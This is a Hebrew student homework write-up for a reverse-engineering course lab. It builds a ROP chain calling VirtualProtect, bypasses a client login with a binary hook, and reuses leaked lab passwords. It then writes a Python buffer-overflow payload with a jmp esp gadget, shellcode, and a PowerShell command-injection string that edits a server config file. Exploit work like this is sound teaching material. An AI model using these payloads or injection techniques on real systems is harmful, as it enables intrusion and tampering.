תרגיל בית 4

חלק יבש

1. ייתכן שה-gadget הנ"ל לא הופיע בתוכנית עצמה כמו שאנו רואים אותו, אלא שהוא חלק מפקודות אחרות שהיו בתוכנית (כלומר הקידוד 60 היה חלק מפקודה אחרת למשל).
בחיפוש האוטומטי מחפשים אחר רצף בתים כלשהו, בלי חשיבות האם הבתים האלו הופיעו כפקודות בתוכנית עצמה (ב-DLL).
דוגמה אפשרית, למשל פונקציה שערך החזרה שלה הוא 0x60606060, ולכן נראה בקוד:

```
0:   b8 60 60 60 60          mov    eax,0x60606060
5:   c3                      ret
```

ניתן לראות ששני הבתים האחרונים ברצף הפקודות הנ"ל הם 60 c3, כפי שמופיע ב-gadget.
כמובן שייתכנו עוד רצפי פקודות אחרים שבהם רצף הבתים הנ"ל מופיע בהם, וזוהי רק דוגמה לצורך ההמחשה.

2. להלן תמונת המחסנית:
בעמוד הבא (בגלל פורמט הוורד).

נסביר בקצרה את המתבצע.
תחילה, נעיר כי השורה הראשונה בטבלה הינה הכתובת הגבוהה ביותר במחסנית, ולכן בתחילת הריצה ESP מצביע לשורה האחרונה בטבלה.
בעמודה הימנית ישנם הסברים לגבי מה כל שלב אמור לבצע, ובעמודה השמאלית מופיעה תמונת המחסנית כפי שהיא תיראה לאחר ביצוע push לכל הרגיסטרים. בעמודה האמצעית מופיעה שרשרת ה-ROP שאנו נכניס למחסנית בפועל.

אנו מבצעים הכנסה של 0x70707061 ל-EBP בעזרת הגאדג'ט הראשון, מאפסים את EAX בעזרת הגאדג'ט השני, ומכניסים את 0x70707061 ל-EAX בעזרת הגאדג'ט הראשון.
לאחר מכן מבצעים פעולות שמחלצות את כתובת העמוד הרצוי על-ידי ביצוע dereference-ים וקידום המצביע על-פי הנדרש, כאשר בסיום התהליך כתובת העמוד הרצוי נמצאת ב-EAX.
כיוון שפעולת ה-push הקיימת בגאדג'טים היא ב-pushad בלבד, אנו דואגים להכניס ל-ECX את הכתובת של VirtualProtect, ומכניסים ל-EBX ו-EDI כתובות של גאדג'טים שיעשו pop למחסנית (כך שהכתובות האלו ישמשו ל-ret-ים), על-מנת שנוכל להעיף את כל ערכי הרגיסטרים הלא מעניינים מהמחסנית.
לאחר מכן, נישאר עם ESP שמצביע על הכתובת של VirtualProtect (שהוכנס ל-ECX), ומעליו הכתובת של העמוד הרצוי (שהוכנס ל-EAX), ולכן דאגנו שמעל זה יהיה במחסנית שאר הארגומנטים הדרושים ל-VirtualProtect.
לאחר מכן נרצה לבצע קפיצה לעמוד הרצוי. לכן ביצענו את אותו תהליך כדי לבצע חילוץ של הכתובת שלו ודחיפה שלו למחסנית, כאשר הפעם ביצענו pop-ים למחסנית כך שתישאר רק הכתובת של העמוד הרצוי (שהוכנס ל-EAX), ועל-ידי ret אחרון נבצע קפיצה אליו.

ביצוע pushad	0x9ad9e71c	EAX = כתובת העמוד הדרוש
הכנסת הכתובת של הגאדג'ט הראשון ל-EDI	0x9ad9e700	ECX = garbage
	0x9ad9e71a	EDX = garbage
Dereference לקבלת כתובת העמוד הדרוש ב-EAX	0x9ad9e716	EBX = 0x9ad9e713
קידום המצביע ב-11 בתים	0x9ad9e711	ESP = garbage
	0x9ad9e709	EBP = garbage
Dereference למצביע 0x70707070 (ל-EAX)	0x9ad9e716	ESI = garbage
הכנסת 0x70707061 ל-EAX + הכנסת הכתובת של הגאדג'ט שעושה pop פעמיים ל-EBP	0x9ad9e713	EDI = 0x9ad9e700 (ESP points here)
	0xDEADBEEF	
	0xDEADBEEF	
	0x9ad9e700	
איפוס EAX	0x9ad9e706	
הכנסת 0x70707061 ל-EBX	0x70707061	
	0xDEADBEEF	
	0xDEADBEEF	
	0x9ad9e700	
שאר הפרמטרים הנדרשים ל-VirtualProtect (תתבצע כתיבה ל-0x200000, וזה תקין לפי הנתון)	0x200000	
	CONST = READ_WRITE_EXECUTE_PERMS	
	CONST = SIZE OF PAGE (4096 bytes converted to hex)	
ביצוע pushad	0x9ad9e71c	EAX = כתובת העמוד הדרוש
הכנסת הכתובת של הגאדג'ט הראשון ל-EDI	0x9ad9e700	ECX = VirtualProtect
	0x9ad9e71a	EDX = garbage
הכנסת הכתובת של VirtualProtect ל-ECX + אי-שינוי EAX + הכנסת הכתובת של הגדאג'ט שעושה pop edi ל-EBX	0x9ad9e71a	EBX = 0x9ad9e71a
	VirtualProtect Address	ESP = garbage
	0xDEADBEEF	EBP = garbage
	0x9ad9e700	ESI = garbage
Dereference לקבלת כתובת העמוד הדרוש ב-EAX	0x9ad9e716	EDI = 0x9ad9e700 (ESP points here)
קידום המצביע ב-11 בתים	0x9ad9e711	
	0x9ad9e709	

	0x9ad9e716	Dereference למצביע 0x70707070 (ל-EAX)
	0x0	הכנסת 0x70707061 ל-EAX + הכנסת 0 ל-EBP
	0xDEADBEEF	
	0xDEADBEEF	
	0x9ad9e700	
	0x9ad9e706	איפוס EAX
	0x70707061	הכנסת 0x70707061 ל-EBX
	0xDEADBEEF	
	0xDEADBEEF	
	0x9ad9e700	

3. נשים לב שנאמר לנו שהדריסה מתבצעת בעזרת strcpy בגרסה של Unicode, לפיכך ההעתקה תפסיק כאשר ניתקל בתו null terminator, שבגרסת ה-Unicode מדובר על רצף הבתים 0x0000.
בשרשרת ה-ROP שפירטנו בסעיף הקודם ניתן לראות שאכן השתמשנו ברצף הבתים הנ"ל.

4. כפי שהסברנו בסעיף הקודם, הבעיה שלנו היא כאשר נכניס את רצף הבתים 0x0000.
לכן, קודם כל ננסה להימנע מבתים אלו ככל הניתן – למשל, בחרנו בכתובת 0x200000 עבור lpflOldProtect, ויכולנו לבחור כתובת אחרת שלא מכילה את הרצף 0x0000.
דבר נוסף, השתמשנו בערך 0x00000000 על המחסנית לצורך איפוס EBX, כדי שהפקודה:

```
add eax, ebx
```

לא תבצע שינוי של EAX (שנמצאת בגאדג'ט הראשון).
יכולנו לקפוץ מראש לאמצע הגאדג'ט הראשון (השתמשנו בו עבור pop ebx למשל), וכך להימנע מפקודה זו, והצורך לדחוף 0x00000000 למחסנית.
עבור ערכים בהם לא נוכל להימנע מרצף הבתים הנ"ל, למשל עבור הקבוע שאחראי להרשאות קריאה, כתיבה והרצה (PAGE_EXECUTE_READWRITE = 0x00000040), נרצה להשתמש בגאדג'ט הנוסף.
הגאדג'ט החדש משמש כפונקציה המבצעת neg לארגומנט הראשון שלה (ואז ret), לכן נוכל לדאוג שבמחסנית יופי הערך שאנו צריכים לאחר ביצוע neg (מראש), ולכן כשהגאדג'ט החדש יופעל עליו, נקבל את הערך הרצוי.
ייתכן ונצטרך לדאוג לסדר חדש של הכנסת הדברים למחסנית, כך שהגאדג'ט החדש יופעל על הערכים הרצויים, ולאחר מכן נכניס אותם למיקום הדרוש להם במחסנית עבור שאר הפעולות שביצענו.

חלק רטוב

חלק ראשון (בונוס)

לא ביצענו על-ידי מציאת חולשה.
ביצענו HOOK פיזי על-מנת לדלג מעל הבדיקה של פרטי ההתחברות ולחשוף את תפריט הבחירה.

```
C:\Users\user\OneDrive - Technion\Semester 8\Reverse Engineering\HW4\part1\hooked_hw4_client>hw4_client.exe
Enter username: cac
Enter password: cac
This user does not exist!

What would you like to do?
[1] ECHO - ping the server with a custom message, receive the same.
[2] TIME - Get local time from server point of view.
[3] 2020 - Get a a new year greeting.
[4] USER - Show details of registered users.
your choice (4 letters command code):
```

חלק שני

ניסינו להפעיל את הפקודות השונות וגילינו כי הפקודה USER חושפת את טבלת המשתמשים.
עשינו נסיונות התחברות לכל המשתמשים בטבלה בעזרת שם המשתמש והרמז לסיסמה.

```
your choice (4 letters command code): USER

--------------------|--------------------|--------------------|--------------------|
Username            |Full Name           |Focus               |Pass Hint           |
--------------------|--------------------|--------------------|--------------------|
uWizard             |Vincent Smith       |knights             |Im good             |
uGoblin             |William Collins     |robber              |HULKVKWDE1MZTJSD    |
uGiant              |Sean Miller         |resources           |hint here..         |
uArcher             |Classified          |management          |/sh tar -a link     |
```

מתוך כל המשתמשים הצלחנו להתחבר ל-uGoblin בלבד. לאחר זמן לא מועט של נסיונות, קלטנו כי הסיסמה איתה התחברנו היא אותה סיסמה של ה-goblin שחשפנו בתרגיל בית 1, לכן ניסינו לקחת את הסיסמאות של כולם מאלו שחשפנו בתרגיל בית 1, ואכן הן עבדו.

לאחר התחברות לכל המשתמשים, יכולנו לראות כי uArcher בעל ההרשאות הגבוהות ביותר – בעת ההתחברות אליו מופיע כי הוא Admin – "Welcome archer (Admin)", כשלשאר המשתמשים זה לא מופיע, ויש לו עוד אופציות בתפריט הבחירה (PEEK).

להלן התפריטים שמופיעים בעת התחברות לכל אחד מהמשתמשים:

```
Enter username: uWizard
Enter password: NSFMX3HCN7SQ0196
Welcome wizard

What would you like to do?
[1] ECHO - ping the server with a custom message, receive the same.
[2] TIME - Get local time from server point of view.
[3] 2020 - Get a a new year greeting.
[4] USER - Show details of registered users.
[5] DMSG - Download message from the server.
your choice (4 letters command code):
```

```
Enter username: uGoblin
Enter password: HULKVKWDE1MZTJSD
Welcome goblin

What would you like to do?
[1] ECHO - ping the server with a custom message, receive the same.
[2] TIME - Get local time from server point of view.
[3] 2020 - Get a a new year greeting.
[4] USER - Show details of registered users.
[5] DMSG - Download message from the server.
your choice (4 letters command code):
```

```
Enter username: uGiant
Enter password: PP8PNXFW9U526ETY
Welcome giant

What would you like to do?
[1] ECHO - ping the server with a custom message, receive the same.
[2] TIME - Get local time from server point of view.
[3] 2020 - Get a a new year greeting.
[4] USER - Show details of registered users.
[5] DMSG - Download message from the server.
your choice (4 letters command code):
```

```
Enter username: uArcher
Enter password: 18A0PYCZURBVJDQE
Welcome archer (Admin)

What would you like to do?
[1] ECHO - ping the server with a custom message, receive the same.
[2] TIME - Get local time from server point of view.
[3] 2020 - Get a a new year greeting.
[4] USER - Show details of registered users.
[5] DMSG - Download message from the server.
[6] PEEK - peek into the system.
[7] LOAD - Load the content of the last peeked file.
your choice (4 letters command code): s
```

בתיקיית extras הוספנו את הקובץ users.py המבצע התחברות למשתמש של archer בעזרת פרטי ההתחברות כפי שהם מופיעים בתמונה, וכן מבצע בחירה של הפקודה USER בתפריט.

```python
import subprocess

# Command to run the executable
command = './hw4_client.exe'

# Input to be provided to the program
input_data = 'uArcher\n18A0PYCZURBVJDQE\nUSER'

# Run the command and provide input
process = subprocess.Popen(command, stdin=subprocess.PIPE,
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
output, error = process.communicate(input=input_data)
```

```
# Print the output and error (if any)
print(output)
```

חלק שלישי

בשלב זה עלינו לנצל חולשה בקובץ hw4_client.exe כדי לגרום לתוכנית להריץ shellcode שלנו. על-מנת למצוא מקומות אפשריים לחולשה בחנו את הקובץ ב-IDA. בדקנו ב-imports אילו פונקציות לקליטת קלט בשימוש בתוכנית ומצאנו מקום בו יש שימוש ב-scanf אותו אנו יכולים לנצל (בשאר המקומות בהם יש קליטת קלט, הקליטה חסומה למספר תווים מסוים, ולכן לא נוכל לנצל זאת).

המיקום אותו מצאנו שאפשר לנצל הוא לאחר שמשתמש הזין את הפקודה PEEK, מתבצעת קליטת קלט של הפקודה עצמה אותה הוא מעוניין להריץ בלי חסם כלשהו על אורך הקלט, ולכן כדי לנצל חולשה זו, עלינו להתחבר למשתמשר archer ולבחור בתפריט PEEK ואז לבצע את המתקפה.

תחילה, נשים לב לשני דברים:

1. פקודת ה-scanf הנ"ל מקבלת בתור מחרוזת הפורמט את "%[^\n]s\n ", ולכן יתקבלו תווים עד אשר ניתקל בירידת שורה. בפרט, ניתן לשלוח אפסים (כלומר null terminator) בלי בעיה.
2. נאמר לנו בקובץ ההוראות של התרגיל ש-ASLR לא מופעל עבור hw4_client.exe, ולכן נוכל לכתוב כתובות מפורשות בקוד של הקובץ הנ"ל שנמצא בתהליך הדיבוג.

מבחינת הפונק' בה מתבצע ה-scanf ב-IDA, ראינו כי ישנו buffer באורך 0x3FAC אליו נסרקת המחרוזת אותה נכניס כקלט, וכי תמונת המחסנית בפונק' הנ"ל היא:

Arg2: pointer to dest. buffer
Arg1: unsigned int
Return Address
Old EBP
Buffer of size 0x3FAC

לפיכך, עלינו להכניס 0x3FAC+0x4 (גודל ה-buffer + הגודל של Old EBP) תווים עד הגעה לכתובת החזרה.

עבור כתובת החזרה הרצויה, השתמשנו ב-Ropper על הקובץ hw4_client.exe ומצאנו כתובת בה נמצא הגאדג'ט "jmp esp", כפי שנאמר לנו לחפש בקובץ ההנחיות:

```
C:\Users\user\OneDrive - Technion\Semester 8\Reverse Engineering\HW4\part1>python -m ropper --file
 hw4_client.exe --search "jmp esp"
[INFO] Load gadgets for section: .text
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: jmp esp

[INFO] File: hw4_client.exe
0x62502028: jmp esp;
```

לכן דרסנו את ערך החזרה עם הכתובת 0x62502028.

כתבנו תוכנית פייתון המכניסה את הקלט הנ"ל:

```
input_data = b'uArcher\n18A0PYCZURBVJDQE\nPEEK\n'
input_data += b'A' * (0x3FAC) + b'\x7C\xFD\x5F\x00' + b'\x28\x20\x50\x62' #
override ret adrr to "jmp esp" gadget
```

וביצענו דיבוג של hw4_client.exe כדי לוודא כי אנו אכן מצליחים לקפוץ למחסנית. נעיר כי דאגנו לדרוס את Old EBP עם הערך כפי שהוא מופיע באותו הזמן במחסנית (שגילינו על-ידי דיבוג) לשם נוחות.

בעת הדיבוג נתקלנו במכשול נוסף – לאחר הכנסת הקלט מתבצע strcpy שמעתיקה את התוכן שכתבנו בתוך ה-buffer אל חלק אחר במחסנית שמוצבע על-ידי Arg2 (מתמונת המחסנית שפירטנו לגביה למעלה), יש בכך 2 בעיות:

1. ההעתקה הנ"ל עלולה לדרוס חלק מהקלט שהכנסנו (אם ה-overflow הגיע עד כתובת הבסיס של אותו dest. buffer).
2. בעת ביצוע strcpy, כיוון שה-buffer ממנו אנו מעתיקים גדול מאוד (יותר גדול מ-0x3FAC), וכן dest. buffer ממוקם בכתובת 0x5FDCD8, כאשר אנו מנסים להעתיק את כמות הבתים הנ"ל לתוכו אנו חורגים מגבולות המחסנית ונזרקת חריגה כאשר מתבצעת כתיבה ל-0x6000000 שזהו איזור שאינו מורשה לכתיבה.

כדי להתגבר על הבעיות הנ"ל, המשכנו עם ה-overflow ודרסנו גם את הארגומנטים שעל המחסנית. במקום Arg2, דרסנו עם הכתובת 0x5F9D20 (זהו מצביע לאותו buffer אליו אנו סורקים ב-scanf), ולכן אפקטיבית strcpy לא תבצע דבר (היא תעתיק את ה-buffer אל עצמו – פעולה חסרת משמעות שלא מפריעה לנו).

בנוסף ניזכר כי בעת ביצוע הקפיצה ל-esp (על-ידי "jmp esp" שמצוי בגאדג'ט), אנו נקפוץ למיקום במחסנית בו מצוי Arg1 (מתמונת המחסנית למעלה), ולכן הכתובת של Arg2 עומדת בדרכנו – לאחר הקפיצה ננסה לבצע אותה כאילו הייתה קוד. לפיכך, נדרוס את Arg1 על-ידי פקודה המבצעת קפיצה של 6 בתים קדימה, כדי לדלג מעל הכתובת הנ"ל ולקפוץ להמשך המחסנית, שם נשתיל את שאר הפקודות שנרצה לבצע. לסיכום עד כה:

```
input_data = b'uArcher\n18A0PYCZURBVJDQE\nPEEK\n'
input_data += b'A' * (0x3FAC) + b'XEBP' + b'\x28\x20\x50\x62' # override
ret adrr to "jmp esp" gadget
input_data += b'\xEB\x06\x00\x00' # jmp +6 to avoid next 4 bytes when code
is running
input_data += b'\x20\x9D\x5F\x00' # override pointer argument with pointer
to our buffer so strcmp will do nothing
input_data += b'\xE9\x3F\xC0\xFF\xFF' # jmp to start of the scanned buffer
(where we put our shellcode)
```

כעת, בחרנו לפעול בצורה הבאה:
נבצע קפיצה לתחילת ה-buffer אליו קלטנו בעזרת scanf, כך שנשתיל את ה-shellcode שלנו שם (כך בפרט גם נימנע כך מדריסה של ה-socket שמצוי על המחסנית באיזור גבוה יותר):

~~Arg2: pointer to dest. buffer~~
~~Arg1: unsigned int~~ ESP points here
~~Return Address~~
Old EBP

~~Buffer of size 0x3FAC~~ Our Shellcode

Old EBP אינו מחוק, כי כפי שהזכרנו מוקדם יותר דאגנו לדרוס אותו עם הערך המקורי.

כעת, ניגשנו למלאכת כתיבת ה-Shellcode. כפי שנאמר לנו בהוראות, נרצה לבצע את פקודת PEEK מול השרת שוב ושוב.
התחלנו בהורדת ESP אל מתחת ל-Shellcode כדי שלא יידרס במהלך הריצה. ולכן תמונת המחסנית תהיה:

~~Arg2: pointer to dest. buffer~~
~~Arg1: unsigned int~~
~~Return Address~~
Old EBP
~~Buffer of size 0x3FAC~~ Our Shellcode
ESP points here

בניתוח הקובץ ב-IDA מצאנו את הפונקציה האחראית לתקשורת מול השרת (מבצעת send ו-recv), שאמורה להיקרא לאחר הפונקציה בה מצאנו את החולשה. ראינו מה הארגומנטים אותם היא מקבלת – ה-socket, הפקודה הרצויה (כ-int. במקרה שלנו PEEK = 7), buffer עם הפקודה עצמה שרוצים להריץ ב-PEEK (במקרה של בחירה ב-PEEK כמובן), buffer שנועד לתקשורת מול השרת (אליו נקבל למשל מה שיישלח ב-recv), וארגומנט אחרון שמועבר אליו 0 בקריאה הרלוונטית (לא התעמקנו להבין מה משמעותו).
לפיכך, כדי לבצע פקודת PEEK מול השרת עלינו לדאוג לכל הארגומנטים הללו, ואז לבצע קריאה לפונקציה הזאת.
תחילה, נבצע קריאה ל-scanf כדי לקבל את הפקודה לביצוע – לשם כך נקצה מקום אל המחסנית אליו הפקודה תיקלט, ונשתמש בפורמט שקיים ב-strings של התוכנית (ששומש במקום בו מצאנו את החולשה) – כיוון שהפקודות יועברו מתוכנית הפייתון שלנו נוכל לדאוג שאורכן לא יחרוג מהבאפר ונגן על ה-Shellcode שלנו מ-overflow.
כעת ניתן להכין את כל הארגומנטים על המחסנית – נדחוף למחסנית 0, אותו מצביע ל-buffer שנועד לתקשורת מול השרת שהתוכנית המקורית משתמשת בו (ניתן להשתמש בכתובת אבסולוטית כפי שאמרנו, הוא אינו נמצא על המחסנית), מצביע ל-buffer שהקצנו על המחסנית ואליו סרקנו את הפקודה, 7 (עבור פקודת PEEK) ואת ה-socket.
עבור ה-socket, נשים לב שהוא הועבר כארגומנט לפונקציה החיצונית (ממנה הפונקציה האחראית לתקשורת מול השרת אמורה הייתה להיקרא), ולכן הוא אמור להימצא על המחסנית.
כיוון שדאגנו לא לדרוס את המחסנית יותר מדי הוא עדיין נמצא שם, ולכן כל שנותר הוא לחשב את המיקום בו ה-socket מצוי על המחסנית ולבצע העתקה שלו – בזכות כך שלא דרסנו את Old EBP במחסנית, והוא שוחזר כפי שהיה אמור להיות, יכולנו לגשת אל ה-socket באותו אופן שהפונקציה המקורית ניגשה אליו (ebp+8).

סך-הכול ה-Shellcode נראה כך:

```
    mov esp, 0x5F9D1C (move esp below shellcode)
start_of_shell_code:
    sub esp, 0x400
    mov ecx, esp
    push esp
    push 0x62506168
    call 0x62504BD4 (scanf, change to relative call)
```

```
    push 0
    push 0x62508080
    push ecx
    push 7
    push [ebp+8]
    call 0x62501892 (func that communicates with server, change to relative call)
    add esp, 0x41C
    jmp start_of_shell_code
```

שרשרנו את כל החלקים של המחרוזת הנסרקת כפי שפירטנו עד כה, דיבגנו, וראינו כי ה-Shellcode מורץ בהצלחה.

חלק רביעי:

התחלנו לשחק עם פקודת ה-PEEK כפי שנאמר לנו, ולאחר הכנסת קלטים שונים הבנו מה מתבצע בשרת.
נקלטת מחרוזת מהמשתמש ואז מורץ תהליך PowerShell בו מורצת הפקודה:

Get-ChildItem -Name -Path <user_string>

כאשר ב-<user_string> מושתלת המחרוזת של שנקלטה מהמשתמש.

לפיכך כדי להריץ פקודות משלנו, קודם כל העברנו "." עבור הארגומנט ל-Get-ChildItem (התיקייה הנוכחית) והוספנו גם "$null >" כדי לעשות redirect לפלט של פקודה זו כדי שלא תיכתב למסך (כדי שהפלט יהיה כמו בצילום המסך המצורף בהוראות). לאחר מכן השתמשנו ב-";" שמאפשר לשרשר פקודות ב-PowerShell, ואחר כך כתבנו את הפקודה הרצויה (שנקלטת כקלט בטרמינל). סך הכול העברנו:

. > $null ; <string_from_terminal>

ולכן בסופו של דבר הורץ בשרת, בתהליך של PowerShell:

Get-ChildItem -Name -Path . > $null ; <string_from_terminal>

עדכנו את הקובץ attack_shell.py בהתאם, כך שתיקלט המחרוזת מהטרמינל והיא תשורשר במיקום המתאים כפי שהסברנו (כך שכל הקבועים יהיו שקופים למשתמש).

חלק חמישי:

הסתכלנו בעזרת הכלי שיצרנו על התיקיות בשרת, ולאחר בחינה של הקבצים והתיקיות השונות (על-ידי dir או Get-Content) הגענו לקובץ config\attack.config, כאשר הצגנו את תוכנו וראינו:

Fires: True

Rivals: True

Knights Infected: True

Robber Hunted: False

הבנו כי זהו הקובץ הרלוונטי האחראי למתקפה ולשריפות, ולכן כדי למנוע את המתקפה נרצה לשנות את כל השדות בו ל-False.

לפיכך, נרצה להריץ פקודת PowerShell העורכת את הקובץ הנ"ל ומשנה את כל השדות שהם True ל-False:

$content = Get-Content -Path "config\attack.config" ; $newContent = $content -replace "True", "False" ; $newContent | Out-File -FilePath "config\attack.config" -Encoding UTF8'

נסביר את הפקודה הנ"ל – בעצם יש כאן שרשור של 3 פקודות. הפקודה הראשונה קוראת את התוכן של הקובץ לתוך משתנה, הפקודה השנייה מחליפה כל מופיע של "True" ב-"False" והפקודה השלישית כותבת את תוכן המשתנה לתוך הקובץ (דורסת את תוכנו).

כתבנו את הקובץ attack_knights.py הבא:

```
import time
from attack_shell import *

process = initial_attack()

# Send input to the other script
input_data = '$content = Get-Content -Path \"config\\attack.config\" ;
$newContent = $content -replace \\"True\\", \\"False\\" ; $newContent |
Out-File -FilePath \"config\\attack.config\" -Encoding UTF8'

run_shell_command(process, input_data)

time.sleep(5)
process.stdin.close()
process.kill()
```

בהתחלה מבצעים את המתקפה ההתחלתית (התחברות לשרת עם הפרטים של archer ושתילת ה-shellcode), ולאחר מכן שולחים את הפקודה הרצויה ושולחים אותה לשרת.
ביצענו sleep של 5 שניות כדי שלא נהרוג את ה-process לפני שהשליחה של הפקודה תתבצע בפועל.

הפונקציות initial_attack ו-run_shell_command מצויות בקובץ attack_shell.py ומבצעות את המתקפות הדרושות כפי שפירטנו בחלקים הקודמים.